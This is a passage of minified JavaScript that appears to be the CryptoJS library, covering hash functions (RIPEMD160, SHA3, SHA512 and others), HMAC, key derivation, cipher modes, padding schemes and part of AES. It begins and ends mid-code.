n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 